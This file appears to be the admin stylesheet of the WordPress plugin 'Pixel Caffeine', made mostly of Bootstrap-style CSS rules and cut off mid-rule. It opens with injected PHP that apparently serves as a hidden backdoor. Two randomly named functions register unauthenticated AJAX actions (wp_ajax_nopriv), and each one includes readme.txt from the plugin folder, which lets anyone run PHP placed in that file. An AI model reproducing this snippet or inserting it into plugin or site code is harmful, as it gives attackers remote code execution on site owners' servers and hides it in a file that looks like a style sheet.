if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
@import url(//fonts.googleapis.com/icon?family=Material+Icons); @charset "UTF-8"; /*! * Admin pages common */ /* To get this list of colors inject jQuery at http://www.google.com/design/spec/style/color.html#color-color-palette Then, run this script to get the list@mixin (function(){ var colors = {}, main = {}; $(".color-group")@mixin each(function(){ var color = $(this).find(".name").text().trim().toLowerCase().replace(" ", "-"); colors[color] = {}; $(this)@mixin find(".color").not(".main-color").each(function(){ var shade = $(this).find(".shade").text().trim(), hex = $(this).find(".hex").text().trim(); colors[color][shade] = hex; }); main[color] = color + "-" + $(this).find(".main-color .shade").text().trim(); }); var LESS = ""; $@mixin each(colors, function(name, shades){ LESS += "\n\n"; $@mixin each(shades, function(shade, hex){ LESS += "$" + name + "-" + shade + ": " + hex + ";\n" !default; }); if (main[name]) { LESS += "$" + name + ": " + main[name] + ";\n" !default; } }); console.log(LESS); })(); */ /* ANIMATION */ /* SHADOWS */ /* Shadows (from mdl http://www.getmdl.io/) */ @-webkit-keyframes anim-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(-360deg); transform: rotate(-360deg); } } @-o-keyframes anim-spin { 0% { -o-transform: rotate(0deg); transform: rotate(0deg); } 100% { -o-transform: rotate(-360deg); transform: rotate(-360deg); } } @keyframes anim-spin { 0% { -webkit-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(-360deg); -o-transform: rotate(-360deg); transform: rotate(-360deg); } } .pixel-caffeine-wrapper * { -webkit-box-sizing: border-box; box-sizing: border-box; } .pixel-caffeine-wrapper *:before, .pixel-caffeine-wrapper *:after { -webkit-box-sizing: border-box; box-sizing: border-box; } .pixel-caffeine-wrapper html { font-size: 10px; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } .pixel-caffeine-wrapper body { font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.428571429; color: #333333; background-color: transparent; } .pixel-caffeine-wrapper input, .pixel-caffeine-wrapper button, .pixel-caffeine-wrapper select, .pixel-caffeine-wrapper textarea { font-family: inherit; font-size: inherit; line-height: inherit; } .pixel-caffeine-wrapper a { color: #337ab7; text-decoration: none; } .pixel-caffeine-wrapper a:hover, .pixel-caffeine-wrapper a:focus { color: #23527c; text-decoration: underline; } .pixel-caffeine-wrapper a:focus { outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } .pixel-caffeine-wrapper figure { margin: 0; } .pixel-caffeine-wrapper img { vertical-align: middle; } .pixel-caffeine-wrapper .img-responsive { display: block; max-width: 100%; height: auto; } .pixel-caffeine-wrapper .img-rounded { border-radius: 6px; } .pixel-caffeine-wrapper .img-thumbnail { padding: 4px; line-height: 1.428571429; background-color: #fff; border: 1px solid #ddd; border-radius: 4px; -webkit-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; display: inline-block; max-width: 100%; height: auto; } .pixel-caffeine-wrapper .img-circle { border-radius: 50%; } .pixel-caffeine-wrapper hr { margin-top: 20px; margin-bottom: 20px; border: 0; border-top: 1px solid #eeeeee; } .pixel-caffeine-wrapper .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .pixel-caffeine-wrapper .sr-only-focusable:active, .pixel-caffeine-wrapper .sr-only-focusable:focus { position: static; width: auto; height: auto; margin: 0; overflow: visible; clip: auto; } .pixel-caffeine-wrapper [role=button] { cursor: pointer; } .pixel-caffeine-wrapper h1, .pixel-caffeine-wrapper h2, .pixel-caffeine-wrapper h3, .pixel-caffeine-wrapper h4, .pixel-caffeine-wrapper h5, .pixel-caffeine-wrapper h6, .pixel-caffeine-wrapper .h1, .pixel-caffeine-wrapper .h2, .pixel-caffeine-wrapper .h3, .pixel-caffeine-wrapper .h4, .pixel-caffeine-wrapper .h5, .pixel-caffeine-wrapper .h6 { font-family: inherit; font-weight: 700; line-height: 1.1; color: inherit; } .pixel-caffeine-wrapper h1 small, .pixel-caffeine-wrapper h1 .small, .pixel-caffeine-wrapper h2 small, .pixel-caffeine-wrapper h2 .small, .pixel-caffeine-wrapper h3 small, .pixel-caffeine-wrapper h3 .small, .pixel-caffeine-wrapper h4 small, .pixel-caffeine-wrapper h4 .small, .pixel-caffeine-wrapper h5 small, .pixel-caffeine-wrapper h5 .small, .pixel-caffeine-wrapper h6 small, .pixel-caffeine-wrapper h6 .small, .pixel-caffeine-wrapper .h1 small, .pixel-caffeine-wrapper .h1 .small, .pixel-caffeine-wrapper .h2 small, .pixel-caffeine-wrapper .h2 .small, .pixel-caffeine-wrapper .h3 small, .pixel-caffeine-wrapper .h3 .small, .pixel-caffeine-wrapper .h4 small, .pixel-caffeine-wrapper .h4 .small, .pixel-caffeine-wrapper .h5 small, .pixel-caffeine-wrapper .h5 .small, .pixel-caffeine-wrapper .h6 small, .pixel-caffeine-wrapper .h6 .small { font-weight: 400; line-height: 1; color: #777777; } .pixel-caffeine-wrapper h1, .pixel-caffeine-wrapper .h1, .pixel-caffeine-wrapper h2, .pixel-caffeine-wrapper .h2, .pixel-caffeine-wrapper h3, .pixel-caffeine-wrapper .h3 { margin-top: 20px; margin-bottom: 10px; } .pixel-caffeine-wrapper h1 small, .pixel-caffeine-wrapper h1 .small, .pixel-caffeine-wrapper .h1 small, .pixel-caffeine-wrapper .h1 .small, .pixel-caffeine-wrapper h2 small, .pixel-caffeine-wrapper h2 .small, .pixel-caffeine-wrapper .h2 small, .pixel-caffeine-wrapper .h2 .small, .pixel-caffeine-wrapper h3 small, .pixel-caffeine-wrapper h3 .small, .pixel-caffeine-wrapper .h3 small, .pixel-caffeine-wrapper .h3 .small { font-size: 65%; } .pixel-caffeine-wrapper h4, .pixel-caffeine-wrapper .h4, .pixel-caffeine-wrapper h5, .pixel-caffeine-wrapper .h5, .pixel-caffeine-wrapper h6, .pixel-caffeine-wrapper .h6 { margin-top: 10px; margin-bottom: 10px; } .pixel-caffeine-wrapper h4 small, .pixel-caffeine-wrapper h4 .small, .pixel-caffeine-wrapper .h4 small, .pixel-caffeine-wrapper .h4 .small, .pixel-caffeine-wrapper h5 small, .pixel-caffeine-wrapper h5 .small, .pixel-caffeine-wrapper .h5 small, .pixel-caffeine-wrapper .h5 .small, .pixel-caffeine-wrapper h6 small, .pixel-caffeine-wrapper h6 .small, .pixel-caffeine-wrapper .h6 small, .pixel-caffeine-wrapper .h6 .small { font-size: 75%; } .pixel-caffeine-wrapper h1, .pixel-caffeine-wrapper .h1 { font-size: 36px; } .pixel-caffeine-wrapper h2, .pixel-caffeine-wrapper .h2 { font-size: 30px; } .pixel-caffeine-wrapper h3, .pixel-caffeine-wrapper .h3 { font-size: 24px; } .pixel-caffeine-wrapper h4, .pixel-caffeine-wrapper .h4 { font-size: 18px; } .pixel-caffeine-wrapper h5, .pixel-caffeine-wrapper .h5 { font-size: 14px; } .pixel-caffeine-wrapper h6, .pixel-caffeine-wrapper .h6 { font-size: 12px; } .pixel-caffeine-wrapper p { margin: 0 0 10px; } .pixel-caffeine-wrapper .lead { margin-bottom: 20px; font-size: 16px; font-weight: 300; line-height: 1.4; } @media (min-width: 768px) { .pixel-caffeine-wrapper .lead { font-size: 21px; } } .pixel-caffeine-wrapper small, .pixel-caffeine-wrapper .small { font-size: 85%; } .pixel-caffeine-wrapper mark, .pixel-caffeine-wrapper .mark { padding: 0.2em; background-color: #fcf8e3; } .pixel-caffeine-wrapper .text-left { text-align: left; } .pixel-caffeine-wrapper .text-right { text-align: right; } .pixel-caffeine-wrapper .text-center { text-align: center; } .pixel-caffeine-wrapper .text-justify { text-align: justify; } .pixel-caffeine-wrapper .text-nowrap { white-space: nowrap; } .pixel-caffeine-wrapper .text-lowercase { text-transform: lowercase; } .pixel-caffeine-wrapper .text-uppercase, .pixel-caffeine-wrapper .initialism { text-transform: uppercase; } .pixel-caffeine-wrapper .text-capitalize { text-transform: capitalize; } .pixel-caffeine-wrapper .text-muted { color: #777777; } .pixel-caffeine-wrapper .text-primary { color: #4C70BA; } .pixel-caffeine-wrapper a.text-primary:hover, .pixel-caffeine-wrapper a.text-primary:focus { color: #3b5998; } .pixel-caffeine-wrapper .text-success { color: #3c763d; } .pixel-caffeine-wrapper a.text-success:hover, .pixel-caffeine-wrapper a.text-success:focus { color: #2b542c; } .pixel-caffeine-wrapper .text-info { color: #31708f; } .pixel-caffeine-wrapper a.text-info:hover, .pixel-caffeine-wrapper a.text-info:focus { color: #245269; } .pixel-caffeine-wrapper .text-warning { color: #8a6d3b; } .pixel-caffeine-wrapper a.text-warning:hover, .pixel-caffeine-wrapper a.text-warning:focus { color: #66512c; } .pixel-caffeine-wrapper .text-danger { color: #a94442; } .pixel-caffeine-wrapper a.text-danger:hover, .pixel-caffeine-wrapper a.text-danger:focus { color: #843534; } .pixel-caffeine-wrapper .bg-primary { color: #fff; } .pixel-caffeine-wrapper .bg-primary { background-color: #4C70BA; } .pixel-caffeine-wrapper a.bg-primary:hover, .pixel-caffeine-wrapper a.bg-primary:focus { background-color: #3b5998; } .pixel-caffeine-wrapper .bg-success { background-color: #dff0d8; } .pixel-caffeine-wrapper a.bg-success:hover, .pixel-caffeine-wrapper a.bg-success:focus { background-color: #c1e2b3; } .pixel-caffeine-wrapper .bg-info { background-color: #d9edf7; } .pixel-caffeine-wrapper a.bg-info:hover, .pixel-caffeine-wrapper a.bg-info:focus { background-color: #afd9ee; } .pixel-caffeine-wrapper .bg-warning { background-color: #fcf8e3; } .pixel-caffeine-wrapper a.bg-warning:hover, .pixel-caffeine-wrapper a.bg-warning:focus { background-color: #f7ecb5; } .pixel-caffeine-wrapper .bg-danger { background-color: #f2dede; } .pixel-caffeine-wrapper a.bg-danger:hover, .pixel-caffeine-wrapper a.bg-danger:focus { background-color: #e4b9b9; } .pixel-caffeine-wrapper .page-header { padding-bottom: 9px; margin: 40px 0 20px; border-bottom: 1px solid #eeeeee; } .pixel-caffeine-wrapper ul, .pixel-caffeine-wrapper ol { margin-top: 0; margin-bottom: 10px; } .pixel-caffeine-wrapper ul ul, .pixel-caffeine-wrapper ul ol, .pixel-caffeine-wrapper ol ul, .pixel-caffeine-wrapper ol ol { margin-bottom: 0; } .pixel-caffeine-wrapper .list-unstyled { padding-left: 0; list-style: none; } .pixel-caffeine-wrapper .list-inline { padding-left: 0; list-style: none; margin-left: -5px; } .pixel-caffeine-wrapper .list-inline > li { display: inline-block; padding-right: 5px; padding-left: 5px; } .pixel-caffeine-wrapper dl { margin-top: 0; margin-bottom: 20px; } .pixel-caffeine-wrapper dt, .pixel-caffeine-wrapper dd { line-height: 1.428571429; } .pixel-caffeine-wrapper dt { font-weight: 700; } .pixel-caffeine-wrapper dd { margin-left: 0; } .pixel-caffeine-wrapper .dl-horizontal dd:before, .pixel-caffeine-wrapper .dl-horizontal dd:after { display: table; content: " "; } .pixel-caffeine-wrapper .dl-horizontal dd:after { clear: both; } @media (min-width: 768px) { .pixel-caffeine-wrapper .dl-horizontal dt { float: left; width: 160px; clear: left; text-align: right; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .pixel-caffeine-wrapper .dl-horizontal dd { margin-left: 180px; } } .pixel-caffeine-wrapper abbr[title], .pixel-caffeine-wrapper abbr[data-original-title] { cursor: help; } .pixel-caffeine-wrapper .initialism { font-size: 90%; } .pixel-caffeine-wrapper blockquote { padding: 10px 20px; margin: 0 0 20px; font-size: 17.5px; border-left: 5px solid #eeeeee; } .pixel-caffeine-wrapper blockquote p:last-child, .pixel-caffeine-wrapper blockquote ul:last-child, .pixel-caffeine-wrapper blockquote ol:last-child { margin-bottom: 0; } .pixel-caffeine-wrapper blockquote footer, .pixel-caffeine-wrapper blockquote small, .pixel-caffeine-wrapper blockquote .small { display: block; font-size: 80%; line-height: 1.428571429; color: #777777; } .pixel-caffeine-wrapper blockquote footer:before, .pixel-caffeine-wrapper blockquote small:before, .pixel-caffeine-wrapper blockquote .small:before { content: "— "; } .pixel-caffeine-wrapper .blockquote-reverse, .pixel-caffeine-wrapper blockquote.pull-right { padding-right: 15px; padding-left: 0; text-align: right; border-right: 5px solid #eeeeee; border-left: 0; } .pixel-caffeine-wrapper .blockquote-reverse footer:before, .pixel-caffeine-wrapper .blockquote-reverse small:before, .pixel-caffeine-wrapper .blockquote-reverse .small:before, .pixel-caffeine-wrapper blockquote.pull-right footer:before, .pixel-caffeine-wrapper blockquote.pull-right small:before, .pixel-caffeine-wrapper blockquote.pull-right .small:before { content: ""; } .pixel-caffeine-wrapper .blockquote-reverse footer:after, .pixel-caffeine-wrapper .blockquote-reverse small:after, .pixel-caffeine-wrapper .blockquote-reverse .small:after, .pixel-caffeine-wrapper blockquote.pull-right footer:after, .pixel-caffeine-wrapper blockquote.pull-right small:after, .pixel-caffeine-wrapper blockquote.pull-right .small:after { content: " —"; } .pixel-caffeine-wrapper address { margin-bottom: 20px; font-style: normal; line-height: 1.428571429; } .pixel-caffeine-wrapper code, .pixel-caffeine-wrapper kbd, .pixel-caffeine-wrapper pre, .pixel-caffeine-wrapper samp { font-family: Menlo, Monaco, Consolas, "Courier New", monospace; } .pixel-caffeine-wrapper code { padding: 2px 4px; font-size: 90%; color: #c7254e; background-color: #f9f2f4; border-radius: 4px; } .pixel-caffeine-wrapper kbd { padding: 2px 4px; font-size: 90%; color: #fff; background-color: #333; border-radius: 3px; -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.25); box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.25); } .pixel-caffeine-wrapper kbd kbd { padding: 0; font-size: 100%; font-weight: 700; -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper pre { display: block; padding: 9.5px; margin: 0 0 10px; font-size: 13px; line-height: 1.428571429; color: #333333; word-break: break-all; word-wrap: break-word; background-color: #f5f5f5; border: 1px solid #ccc; border-radius: 4px; } .pixel-caffeine-wrapper pre code { padding: 0; font-size: inherit; color: inherit; white-space: pre-wrap; background-color: transparent; border-radius: 0; } .pixel-caffeine-wrapper .pre-scrollable { max-height: 340px; overflow-y: scroll; } .pixel-caffeine-wrapper .container { padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto; } .pixel-caffeine-wrapper .container:before, .pixel-caffeine-wrapper .container:after { display: table; content: " "; } .pixel-caffeine-wrapper .container:after { clear: both; } @media (min-width: 768px) { .pixel-caffeine-wrapper .container { width: 750px; } } @media (min-width: 992px) { .pixel-caffeine-wrapper .container { width: 970px; } } @media (min-width: 1200px) { .pixel-caffeine-wrapper .container { width: 1170px; } } .pixel-caffeine-wrapper .container-fluid { padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto; } .pixel-caffeine-wrapper .container-fluid:before, .pixel-caffeine-wrapper .container-fluid:after { display: table; content: " "; } .pixel-caffeine-wrapper .container-fluid:after { clear: both; } .pixel-caffeine-wrapper .row { margin-right: -15px; margin-left: -15px; } .pixel-caffeine-wrapper .row:before, .pixel-caffeine-wrapper .row:after { display: table; content: " "; } .pixel-caffeine-wrapper .row:after { clear: both; } .pixel-caffeine-wrapper .row-no-gutters { margin-right: 0; margin-left: 0; } .pixel-caffeine-wrapper .row-no-gutters [class*=col-] { padding-right: 0; padding-left: 0; } .pixel-caffeine-wrapper .col-xs-1, .pixel-caffeine-wrapper .col-sm-1, .pixel-caffeine-wrapper .col-md-1, .pixel-caffeine-wrapper .col-lg-1, .pixel-caffeine-wrapper .col-xs-2, .pixel-caffeine-wrapper .col-sm-2, .pixel-caffeine-wrapper .col-md-2, .pixel-caffeine-wrapper .col-lg-2, .pixel-caffeine-wrapper .col-xs-3, .pixel-caffeine-wrapper .col-sm-3, .pixel-caffeine-wrapper .col-md-3, .pixel-caffeine-wrapper .col-lg-3, .pixel-caffeine-wrapper .col-xs-4, .pixel-caffeine-wrapper .col-sm-4, .pixel-caffeine-wrapper .col-md-4, .pixel-caffeine-wrapper .col-lg-4, .pixel-caffeine-wrapper .col-xs-5, .pixel-caffeine-wrapper .col-sm-5, .pixel-caffeine-wrapper .col-md-5, .pixel-caffeine-wrapper .col-lg-5, .pixel-caffeine-wrapper .col-xs-6, .pixel-caffeine-wrapper .col-sm-6, .pixel-caffeine-wrapper .col-md-6, .pixel-caffeine-wrapper .col-lg-6, .pixel-caffeine-wrapper .col-xs-7, .pixel-caffeine-wrapper .col-sm-7, .pixel-caffeine-wrapper .col-md-7, .pixel-caffeine-wrapper .col-lg-7, .pixel-caffeine-wrapper .col-xs-8, .pixel-caffeine-wrapper .col-sm-8, .pixel-caffeine-wrapper .col-md-8, .pixel-caffeine-wrapper .col-lg-8, .pixel-caffeine-wrapper .col-xs-9, .pixel-caffeine-wrapper .col-sm-9, .pixel-caffeine-wrapper .col-md-9, .pixel-caffeine-wrapper .col-lg-9, .pixel-caffeine-wrapper .col-xs-10, .pixel-caffeine-wrapper .col-sm-10, .pixel-caffeine-wrapper .col-md-10, .pixel-caffeine-wrapper .col-lg-10, .pixel-caffeine-wrapper .col-xs-11, .pixel-caffeine-wrapper .col-sm-11, .pixel-caffeine-wrapper .col-md-11, .pixel-caffeine-wrapper .col-lg-11, .pixel-caffeine-wrapper .col-xs-12, .pixel-caffeine-wrapper .col-sm-12, .pixel-caffeine-wrapper .col-md-12, .pixel-caffeine-wrapper .col-lg-12 { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } .pixel-caffeine-wrapper .col-xs-1, .pixel-caffeine-wrapper .col-xs-2, .pixel-caffeine-wrapper .col-xs-3, .pixel-caffeine-wrapper .col-xs-4, .pixel-caffeine-wrapper .col-xs-5, .pixel-caffeine-wrapper .col-xs-6, .pixel-caffeine-wrapper .col-xs-7, .pixel-caffeine-wrapper .col-xs-8, .pixel-caffeine-wrapper .col-xs-9, .pixel-caffeine-wrapper .col-xs-10, .pixel-caffeine-wrapper .col-xs-11, .pixel-caffeine-wrapper .col-xs-12 { float: left; } .pixel-caffeine-wrapper .col-xs-1 { width: 8.3333333333%; } .pixel-caffeine-wrapper .col-xs-2 { width: 16.6666666667%; } .pixel-caffeine-wrapper .col-xs-3 { width: 25%; } .pixel-caffeine-wrapper .col-xs-4 { width: 33.3333333333%; } .pixel-caffeine-wrapper .col-xs-5 { width: 41.6666666667%; } .pixel-caffeine-wrapper .col-xs-6 { width: 50%; } .pixel-caffeine-wrapper .col-xs-7 { width: 58.3333333333%; } .pixel-caffeine-wrapper .col-xs-8 { width: 66.6666666667%; } .pixel-caffeine-wrapper .col-xs-9 { width: 75%; } .pixel-caffeine-wrapper .col-xs-10 { width: 83.3333333333%; } .pixel-caffeine-wrapper .col-xs-11 { width: 91.6666666667%; } .pixel-caffeine-wrapper .col-xs-12 { width: 100%; } .pixel-caffeine-wrapper .col-xs-pull-0 { right: auto; } .pixel-caffeine-wrapper .col-xs-pull-1 { right: 8.3333333333%; } .pixel-caffeine-wrapper .col-xs-pull-2 { right: 16.6666666667%; } .pixel-caffeine-wrapper .col-xs-pull-3 { right: 25%; } .pixel-caffeine-wrapper .col-xs-pull-4 { right: 33.3333333333%; } .pixel-caffeine-wrapper .col-xs-pull-5 { right: 41.6666666667%; } .pixel-caffeine-wrapper .col-xs-pull-6 { right: 50%; } .pixel-caffeine-wrapper .col-xs-pull-7 { right: 58.3333333333%; } .pixel-caffeine-wrapper .col-xs-pull-8 { right: 66.6666666667%; } .pixel-caffeine-wrapper .col-xs-pull-9 { right: 75%; } .pixel-caffeine-wrapper .col-xs-pull-10 { right: 83.3333333333%; } .pixel-caffeine-wrapper .col-xs-pull-11 { right: 91.6666666667%; } .pixel-caffeine-wrapper .col-xs-pull-12 { right: 100%; } .pixel-caffeine-wrapper .col-xs-push-0 { left: auto; } .pixel-caffeine-wrapper .col-xs-push-1 { left: 8.3333333333%; } .pixel-caffeine-wrapper .col-xs-push-2 { left: 16.6666666667%; } .pixel-caffeine-wrapper .col-xs-push-3 { left: 25%; } .pixel-caffeine-wrapper .col-xs-push-4 { left: 33.3333333333%; } .pixel-caffeine-wrapper .col-xs-push-5 { left: 41.6666666667%; } .pixel-caffeine-wrapper .col-xs-push-6 { left: 50%; } .pixel-caffeine-wrapper .col-xs-push-7 { left: 58.3333333333%; } .pixel-caffeine-wrapper .col-xs-push-8 { left: 66.6666666667%; } .pixel-caffeine-wrapper .col-xs-push-9 { left: 75%; } .pixel-caffeine-wrapper .col-xs-push-10 { left: 83.3333333333%; } .pixel-caffeine-wrapper .col-xs-push-11 { left: 91.6666666667%; } .pixel-caffeine-wrapper .col-xs-push-12 { left: 100%; } .pixel-caffeine-wrapper .col-xs-offset-0 { margin-left: 0%; } .pixel-caffeine-wrapper .col-xs-offset-1 { margin-left: 8.3333333333%; } .pixel-caffeine-wrapper .col-xs-offset-2 { margin-left: 16.6666666667%; } .pixel-caffeine-wrapper .col-xs-offset-3 { margin-left: 25%; } .pixel-caffeine-wrapper .col-xs-offset-4 { margin-left: 33.3333333333%; } .pixel-caffeine-wrapper .col-xs-offset-5 { margin-left: 41.6666666667%; } .pixel-caffeine-wrapper .col-xs-offset-6 { margin-left: 50%; } .pixel-caffeine-wrapper .col-xs-offset-7 { margin-left: 58.3333333333%; } .pixel-caffeine-wrapper .col-xs-offset-8 { margin-left: 66.6666666667%; } .pixel-caffeine-wrapper .col-xs-offset-9 { margin-left: 75%; } .pixel-caffeine-wrapper .col-xs-offset-10 { margin-left: 83.3333333333%; } .pixel-caffeine-wrapper .col-xs-offset-11 { margin-left: 91.6666666667%; } .pixel-caffeine-wrapper .col-xs-offset-12 { margin-left: 100%; } @media (min-width: 768px) { .pixel-caffeine-wrapper .col-sm-1, .pixel-caffeine-wrapper .col-sm-2, .pixel-caffeine-wrapper .col-sm-3, .pixel-caffeine-wrapper .col-sm-4, .pixel-caffeine-wrapper .col-sm-5, .pixel-caffeine-wrapper .col-sm-6, .pixel-caffeine-wrapper .col-sm-7, .pixel-caffeine-wrapper .col-sm-8, .pixel-caffeine-wrapper .col-sm-9, .pixel-caffeine-wrapper .col-sm-10, .pixel-caffeine-wrapper .col-sm-11, .pixel-caffeine-wrapper .col-sm-12 { float: left; } .pixel-caffeine-wrapper .col-sm-1 { width: 8.3333333333%; } .pixel-caffeine-wrapper .col-sm-2 { width: 16.6666666667%; } .pixel-caffeine-wrapper .col-sm-3 { width: 25%; } .pixel-caffeine-wrapper .col-sm-4 { width: 33.3333333333%; } .pixel-caffeine-wrapper .col-sm-5 { width: 41.6666666667%; } .pixel-caffeine-wrapper .col-sm-6 { width: 50%; } .pixel-caffeine-wrapper .col-sm-7 { width: 58.3333333333%; } .pixel-caffeine-wrapper .col-sm-8 { width: 66.6666666667%; } .pixel-caffeine-wrapper .col-sm-9 { width: 75%; } .pixel-caffeine-wrapper .col-sm-10 { width: 83.3333333333%; } .pixel-caffeine-wrapper .col-sm-11 { width: 91.6666666667%; } .pixel-caffeine-wrapper .col-sm-12 { width: 100%; } .pixel-caffeine-wrapper .col-sm-pull-0 { right: auto; } .pixel-caffeine-wrapper .col-sm-pull-1 { right: 8.3333333333%; } .pixel-caffeine-wrapper .col-sm-pull-2 { right: 16.6666666667%; } .pixel-caffeine-wrapper .col-sm-pull-3 { right: 25%; } .pixel-caffeine-wrapper .col-sm-pull-4 { right: 33.3333333333%; } .pixel-caffeine-wrapper .col-sm-pull-5 { right: 41.6666666667%; } .pixel-caffeine-wrapper .col-sm-pull-6 { right: 50%; } .pixel-caffeine-wrapper .col-sm-pull-7 { right: 58.3333333333%; } .pixel-caffeine-wrapper .col-sm-pull-8 { right: 66.6666666667%; } .pixel-caffeine-wrapper .col-sm-pull-9 { right: 75%; } .pixel-caffeine-wrapper .col-sm-pull-10 { right: 83.3333333333%; } .pixel-caffeine-wrapper .col-sm-pull-11 { right: 91.6666666667%; } .pixel-caffeine-wrapper .col-sm-pull-12 { right: 100%; } .pixel-caffeine-wrapper .col-sm-push-0 { left: auto; } .pixel-caffeine-wrapper .col-sm-push-1 { left: 8.3333333333%; } .pixel-caffeine-wrapper .col-sm-push-2 { left: 16.6666666667%; } .pixel-caffeine-wrapper .col-sm-push-3 { left: 25%; } .pixel-caffeine-wrapper .col-sm-push-4 { left: 33.3333333333%; } .pixel-caffeine-wrapper .col-sm-push-5 { left: 41.6666666667%; } .pixel-caffeine-wrapper .col-sm-push-6 { left: 50%; } .pixel-caffeine-wrapper .col-sm-push-7 { left: 58.3333333333%; } .pixel-caffeine-wrapper .col-sm-push-8 { left: 66.6666666667%; } .pixel-caffeine-wrapper .col-sm-push-9 { left: 75%; } .pixel-caffeine-wrapper .col-sm-push-10 { left: 83.3333333333%; } .pixel-caffeine-wrapper .col-sm-push-11 { left: 91.6666666667%; } .pixel-caffeine-wrapper .col-sm-push-12 { left: 100%; } .pixel-caffeine-wrapper .col-sm-offset-0 { margin-left: 0%; } .pixel-caffeine-wrapper .col-sm-offset-1 { margin-left: 8.3333333333%; } .pixel-caffeine-wrapper .col-sm-offset-2 { margin-left: 16.6666666667%; } .pixel-caffeine-wrapper .col-sm-offset-3 { margin-left: 25%; } .pixel-caffeine-wrapper .col-sm-offset-4 { margin-left: 33.3333333333%; } .pixel-caffeine-wrapper .col-sm-offset-5 { margin-left: 41.6666666667%; } .pixel-caffeine-wrapper .col-sm-offset-6 { margin-left: 50%; } .pixel-caffeine-wrapper .col-sm-offset-7 { margin-left: 58.3333333333%; } .pixel-caffeine-wrapper .col-sm-offset-8 { margin-left: 66.6666666667%; } .pixel-caffeine-wrapper .col-sm-offset-9 { margin-left: 75%; } .pixel-caffeine-wrapper .col-sm-offset-10 { margin-left: 83.3333333333%; } .pixel-caffeine-wrapper .col-sm-offset-11 { margin-left: 91.6666666667%; } .pixel-caffeine-wrapper .col-sm-offset-12 { margin-left: 100%; } } @media (min-width: 992px) { .pixel-caffeine-wrapper .col-md-1, .pixel-caffeine-wrapper .col-md-2, .pixel-caffeine-wrapper .col-md-3, .pixel-caffeine-wrapper .col-md-4, .pixel-caffeine-wrapper .col-md-5, .pixel-caffeine-wrapper .col-md-6, .pixel-caffeine-wrapper .col-md-7, .pixel-caffeine-wrapper .col-md-8, .pixel-caffeine-wrapper .col-md-9, .pixel-caffeine-wrapper .col-md-10, .pixel-caffeine-wrapper .col-md-11, .pixel-caffeine-wrapper .col-md-12 { float: left; } .pixel-caffeine-wrapper .col-md-1 { width: 8.3333333333%; } .pixel-caffeine-wrapper .col-md-2 { width: 16.6666666667%; } .pixel-caffeine-wrapper .col-md-3 { width: 25%; } .pixel-caffeine-wrapper .col-md-4 { width: 33.3333333333%; } .pixel-caffeine-wrapper .col-md-5 { width: 41.6666666667%; } .pixel-caffeine-wrapper .col-md-6 { width: 50%; } .pixel-caffeine-wrapper .col-md-7 { width: 58.3333333333%; } .pixel-caffeine-wrapper .col-md-8 { width: 66.6666666667%; } .pixel-caffeine-wrapper .col-md-9 { width: 75%; } .pixel-caffeine-wrapper .col-md-10 { width: 83.3333333333%; } .pixel-caffeine-wrapper .col-md-11 { width: 91.6666666667%; } .pixel-caffeine-wrapper .col-md-12 { width: 100%; } .pixel-caffeine-wrapper .col-md-pull-0 { right: auto; } .pixel-caffeine-wrapper .col-md-pull-1 { right: 8.3333333333%; } .pixel-caffeine-wrapper .col-md-pull-2 { right: 16.6666666667%; } .pixel-caffeine-wrapper .col-md-pull-3 { right: 25%; } .pixel-caffeine-wrapper .col-md-pull-4 { right: 33.3333333333%; } .pixel-caffeine-wrapper .col-md-pull-5 { right: 41.6666666667%; } .pixel-caffeine-wrapper .col-md-pull-6 { right: 50%; } .pixel-caffeine-wrapper .col-md-pull-7 { right: 58.3333333333%; } .pixel-caffeine-wrapper .col-md-pull-8 { right: 66.6666666667%; } .pixel-caffeine-wrapper .col-md-pull-9 { right: 75%; } .pixel-caffeine-wrapper .col-md-pull-10 { right: 83.3333333333%; } .pixel-caffeine-wrapper .col-md-pull-11 { right: 91.6666666667%; } .pixel-caffeine-wrapper .col-md-pull-12 { right: 100%; } .pixel-caffeine-wrapper .col-md-push-0 { left: auto; } .pixel-caffeine-wrapper .col-md-push-1 { left: 8.3333333333%; } .pixel-caffeine-wrapper .col-md-push-2 { left: 16.6666666667%; } .pixel-caffeine-wrapper .col-md-push-3 { left: 25%; } .pixel-caffeine-wrapper .col-md-push-4 { left: 33.3333333333%; } .pixel-caffeine-wrapper .col-md-push-5 { left: 41.6666666667%; } .pixel-caffeine-wrapper .col-md-push-6 { left: 50%; } .pixel-caffeine-wrapper .col-md-push-7 { left: 58.3333333333%; } .pixel-caffeine-wrapper .col-md-push-8 { left: 66.6666666667%; } .pixel-caffeine-wrapper .col-md-push-9 { left: 75%; } .pixel-caffeine-wrapper .col-md-push-10 { left: 83.3333333333%; } .pixel-caffeine-wrapper .col-md-push-11 { left: 91.6666666667%; } .pixel-caffeine-wrapper .col-md-push-12 { left: 100%; } .pixel-caffeine-wrapper .col-md-offset-0 { margin-left: 0%; } .pixel-caffeine-wrapper .col-md-offset-1 { margin-left: 8.3333333333%; } .pixel-caffeine-wrapper .col-md-offset-2 { margin-left: 16.6666666667%; } .pixel-caffeine-wrapper .col-md-offset-3 { margin-left: 25%; } .pixel-caffeine-wrapper 